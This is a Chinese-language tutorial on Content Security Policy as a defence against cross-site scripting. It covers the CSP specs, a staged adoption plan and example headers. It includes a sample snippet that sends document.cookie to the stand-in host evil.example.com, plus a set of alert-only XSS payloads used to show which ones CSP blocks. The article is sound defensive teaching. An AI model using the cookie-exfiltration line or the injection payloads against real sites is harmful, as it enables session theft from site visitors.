CSP是Content Security Policy
的简称,可译为内容安全策略,用于减少或避免XSS(Cross Site Scripting)及其带来的风险。
如果你已经迫不及待想看一下效果,可以访问这个URL查看效果 (Chrome、基于Blink的Opera效果最佳): https://hatter.in/testCSP2
CSP 1 - http://www.w3.org/TR/2012/CR-CSP-20121115/ 2012年11月15日成为正式标准
CSP 2 - http://www.w3.org/TR/2015/CR-CSP2-20150219/ 2015年02月19日成为正式标准
Editor’s Draft - https://w3c.github.io/webappsec/specs/content-security-policy/
工作组地址 - https://github.com/w3c/webappsec
邮件列表地址 - http://lists.w3.org/Archives/Public/public-webappsec/
查看更多,请点击:http://caniuse.com/#feat=contentsecuritypolicy
目前全球网站实施CSP的并不多,也许是这个新兴的标准还没有得到大家的重视,或是根本没有人关心安全问题。
目前已经实施CSP的大型网站如:
相信随着时间推移,实施CSP的网站也会越来越多。
XSS带来问题的根本原因就是数据和代码未做分离,在数据和代码混杂的情况下,因为数据是来源于客房端的,所以常常会因为数据挣脱他所处的环境变成代码被执行,这种问题就是注入。
而,在HTML中被JavaScript注入,我们称之为Cross Site Scripting,由于CSS已经被层叠样式表占用,所以只好叫XSS了。
由于我们知道了XSS的原理,那么解决XSS的方法也就简单了,让数据始终是数据,如通常的思路是对数据做转义,但程序员往往会忘掉转义而导致被XSS,而CSP的解决思路是让数据和代码隔离,让数据得不到执行权限来解决XSS问题。
需要实施好CSP并不是一件简单的事情,特别是对于设计并不良好的老代码,由于在老代码中大量业已存在的inline JS、innerHTML和eval代码,如果想抽取并安放到一个静态的JS文件中,对于前端人员来说是异常困难的。
所以对于循序渐进的实施CSP就变得尤为重要,至少可以让我们快速尝到CSP带来的好处,对于CSP的实施我把他分为三个境界:
这个阶段只能防止白名单以外的资源被加载,这种方式可以避免页面被恶意篡改,或是站内信息被泄露。
还有一个重要的事情是,一般来说XSS后黑客需要做的事情就是偷数据或CSRF,在已经被XSS的情况下对于CSRF也许已经没有什么办法了,但对于偷数据,一般来说黑客都是通过一个外部的URL把数据传出去,如一个简单的CASE:
var img = document.createElement("img")
img.src = "http://evil.example.com/saveData.do?data=" + encodeURIComponent(document.cookie);
document.getElementsByTagName("head")[0].appendChild(img);
图片外链的危害: http://www.cnblogs.com/index-html/archive/2012/08/15/extern_img.html
<script></script>
块中及没有nonce标签的inline JS这个阶段兼顾编码的方便性及安全性,比较好的权衡了方便与安全。
如指定Header:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-N123456';
参看代码:
1. <img src=x onerror=alert('image onerror xss')><br>
2. <svg/onload=alert('svg onload xss')><br>
3. <span id="div_id"></span><br>
4. <a href="javascript:alert('a href xss')">click me</a><br>
5. <button onclick="alert('button onclick xss')">click me</button><br>
<script type="text/javascript">
alert('no nonce xss');
</script>
<script type="text/javascript" nonce="N12345678">
alert('nonce error xss');
</script>
<script type="text/javascript" nonce="N123456">
document.getElementById("div_id").innerHTML = "<img src='x' onerror='alert(\"innerHTML img onerror xss\")'>";
document.write("6. document.write: <script>alert('document write xss');<\/script>");
// alert("Hello world");
eval("alert('eval xss')");
</script>
在最新版的Chrome中,以上代码示例中的alert
都被禁止执行。
这个阶段是最理想的阶段,理论上可以彻底避免XSS攻击,通过JS再写一个解析器来执行DSL除外。
Sample header:
Content-Security-Policy: script-src 'static.example.com';
仅使用静态的JavaScript文件,因为也禁止了unsafe-inline
和unsafe-eval
,所以XSS注入已经基本不可能了。
这类用法请参看GitHub.com: https://github.com/